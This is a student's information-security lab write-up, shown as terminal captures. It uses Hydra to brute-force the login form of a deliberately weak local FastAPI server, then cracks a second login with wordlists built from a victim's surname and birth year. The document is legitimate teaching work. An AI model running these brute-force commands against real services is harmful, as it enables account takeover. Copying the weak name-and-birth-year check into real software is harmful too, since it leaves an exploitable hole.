

```
~
> brew install hydra
==> Downloading Homebrew API data
✓ JSON API packages.arm64_golden_gate.jws.json Downloaded 15.5MB/ 15.5MB
==> Downloading bottle manifests
✓ Bottle Manifest hydra (9.7) Downloaded 117.6KB/117.6KB
==> Would install 1 formula:
hydra 9.7
==> Would install 2 dependencies for hydra:
libssh
mariadb-connector-c
==> Do you want to proceed with the installation? [y/n]
==> Fetching downloads for: hydra
✓ Bottle Manifest mariadb-connector-c (3.4.9) Downloaded 27.1KB/ 27.1KB
✓ Bottle Manifest libssh (0.12.2) Downloaded 34.2KB/ 34.2KB
✓ Bottle libssh (0.12.2) Downloaded 615.4KB/615.4KB
✓ Bottle mariadb-connector-c (3.4.9) Downloaded 460.3KB/460.3KB
✓ Bottle hydra (9.7) Downloaded 608.1KB/608.1KB
==> Installing dependencies for hydra: libssh and mariadb-connector-c
==> Installing hydra dependency: libssh
==> Pouring libssh--0.12.2.arm64_golden_gate.bottle.tar.gz
  /opt/homebrew/Cellar/libssh/0.12.2: 25 files, 1.7MB
==> Installing hydra dependency: mariadb-connector-c
==> Pouring mariadb-connector-c--3.4.9.arm64_golden_gate.bottle.tar.gz
  /opt/homebrew/Cellar/mariadb-connector-c/3.4.9: 164 files, 1.5MB
==> Installing hydra
==> Pouring hydra--9.7.arm64_golden_gate.bottle.tar.gz
  /opt/homebrew/Cellar/hydra/9.7: 17 files, 1.8MB
~
> |
```

Problems Output Terminal

~/Documents/AUCA/FALL_2026/Information_Security/Lab_12

• > mkdir brute-force-server

~/Documents/AUCA/FALL_2026/Information_Security/Lab_12

• > cd brute-force-server

~/Documents/AUCA/FALL_2026/Information_Security/Lab_12/brute-force-server

• > python3 -m venv .venv

```
• > pip install "fastapi[standard]"
Collecting fastapi[standard]
  Using cached fastapi-0.141.1-py3-none-any.whl.metadata (27 kB)
Collecting starlette>=0.46.0 (from fastapi[standard])
  Downloading starlette-1.7.0-py3-none-any.whl.metadata (6.6 kB)
Collecting pydantic>=2.9.0 (from fastapi[standard])
```

• > nvim main.py

~/Documents/AUCA/FALL_2026/Information_Security/Lab_12/brute-force-server

• > ls
main.py

~/Documents/AUCA/FALL_2026/Information_Security/Lab_12/brute-force-server

• > |

```
~/Documents/AUCA/FALL_2026/Information_Security/Lab_12/brute-force-server  brute-force-server
> fastapi dev main.py

⚡ Starting FastAPI in development mode

🐍 Using import string: main:app

🌐 Server started at http://127.0.0.1:8000
Documentation at http://127.0.0.1:8000/docs

Logs:
| Will watch for changes in these directories: ['/Users/arsen/Documents/AUCA/FALL_2026/Information_Security/Lab_12/brute-force-server']
| Uvicorn running on http://127.0.0.1:8000 (Press CTRL+C to quit)
| Started reloader process [37255] using WatchFiles
| Started server process [37297]
| Waiting for application startup.
| Application startup complete.

~/Documents/AUCA/FALL_2026/Information_Security/Lab_12/brute-force-server  brute-force-server
• hydra -f -I -V -L usernames.txt -P passwords.txt -s 8000 localhost http-form-post "/login:username=^USER^&password=^PASS^:F=Invalid"
Hydra v9.7 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this
is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-09-23 20:06:04
[DATA] max 16 tasks per 1 server, overall 16 tasks, 1717 login tries (l:17/p:101), ~108 tries per task
[DATA] attacking http-post-form://localhost:8000/login:username=^USER^&password=^PASS^:F=Invalid
[ATTEMPT] target localhost - login "root" - pass "123456" - 1 of 1717 [child 0] (0/0)
[ATTEMPT] target localhost - login "root" - pass "123456789" - 2 of 1717 [child 1] (0/0)
[ATTEMPT] target localhost - login "root" - pass "111111" - 3 of 1717 [child 2] (0/0)
[ATTEMPT] target localhost - login "root" - pass "password" - 4 of 1717 [child 3] (0/0)

[8000][http-post-form] host: localhost login: admin password: 12345admin
[STATUS] attack finished for localhost (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-09-23 20:06:07
```

Task: try to discover attacks where attacker can add some useful information of victim (name, surname, date of birth) which are then combined in various ways

```
1  from typing import Annotated
2
3
4  from fastapi import FastAPI, Form
5
6
7  app = FastAPI()
8
9
10
11
12  Surname = "Morozov"
13  Date_of_birth = "2007"
14
15
16
17  @app.post("/login")
18  def login(
19      name: Annotated[str, Form()],
20      surname: Annotated[str, Form()],
21      date_of_birth: Annotated[str, Form()]
22  ):
23      if surname == Surname and date_of_birth == Date_of_birth:
24          return "secret token"
25      return "Invalid credentials"
26
27
```

```
main.py  surname.txt  year.txt

surname.txt
1  morozov
2  Morozov
3  MOROZOV
4  Morozov2007
5  morozov2007
6  Morozov07
7  morozov07
```

```
main.py  surname.txt  year.txt

year.txt
1  2007
2  07
3  20072007
4  2007!
5  2007@
6  2007#
7  2007$
8  |

~/Documents/AUCA/FALL_2026/Information_Security/Lab_12/brute-force-server 2m 17s | brute-force-ser
> fastapi dev main.py

⚡ Starting FastAPI in development mode

🔧 Using import string: main:app

📡 Server started at http://127.0.0.1:8000
Documentation at http://127.0.0.1:8000/docs

Logs:
Will watch for changes in these directories: ['/Users/arsen/Documents/AUCA/FALL_2026/Information_Security/Lab_12/brute-force-server']
Uvicorn running on http://127.0.0.1:8000 (Press CTRL+C to quit)
Started reloader process [40898] using WatchFiles
Started server process [40923]
Waiting for application startup.
Application startup complete.
```

```
~/Documents/AUCA/FALL_2026/Information_Security/Lab_12/brute-force-server
•> hydra -f -I -V \
  -L surname.txt \
  -P year.txt \
  -s 8000 \
  localhost http-post-form \
  "/login:name=test&surname=^USER^&date_of_birth=^PASS^:F=Invalid credentials"
Hydra v9.7 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for
  is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-09-23 20:37:23
[DATA] max 16 tasks per 1 server, overall 16 tasks, 49 login tries (l:7/p:7), ~4 tries per task
[DATA] attacking http-post-form://localhost:8000/login:name=test&surname=^USER^&date_of_birth=^PASS^:F=Invalid credentials
[ATTEMPT] target localhost - login "morozov" - pass "2007" - 1 of 49 [child 0] (0/0)
[ATTEMPT] target localhost - login "Morozov2007" - pass "2007" - 22 of 49 [child 15] (0/0)
[ATTEMPT] target localhost - login "Morozov2007" - pass "07" - 23 of 49 [child 1] (0/0)
[ATTEMPT] target localhost - login "Morozov2007" - pass "20072007" - 24 of 49 [child 4] (0/0)
[ATTEMPT] target localhost - login "Morozov2007" - pass "2007!" - 25 of 49 [child 5] (0/0)
[ATTEMPT] target localhost - login "Morozov2007" - pass "2007@" - 26 of 49 [child 6] (0/0)
[8000][http-post-form] host: localhost login: Morozov password: 2007
[STATUS] attack finished for localhost (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-09-23 20:37:23
```